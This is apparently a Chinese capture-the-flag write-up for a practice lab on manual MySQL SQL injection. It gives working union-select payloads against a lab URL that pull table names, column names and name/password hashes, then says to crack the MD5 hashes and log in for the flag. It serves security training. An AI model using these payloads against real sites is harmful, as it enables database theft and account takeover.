[墨者学院]SQL手工注入漏洞测试(MySQL数据库)

必知知识：
数据库版本：version()
数据库名：database()
数据库用户：user()
操作系统：@@version_compile_os

information_schema.tables：记录所有表名信息的表
information_schema.column：记录所有列名信息的表
table_name：表名
column_name：列名
table_schema：表名

点击登录下面通知进入

在网址随便输入判断是否存在注入点

通过输入order by x进行判断字段数

将前面进行报错执行后面内容，查询输入

得到数据库库名

获取表名

http://219.153.49.228:44553/new_list.php?id=-1 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'#

获取列名：

http://219.153.49.228:44553/new_list.php?id=-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='StormGroup_member'#

得到数据

http://219.153.49.228:44553/new_list.php?id=-1 union select 1,2,group_concat(name,password),4 from StormGroup_member#

将得到的代码进行MD5解密登录账户获取flag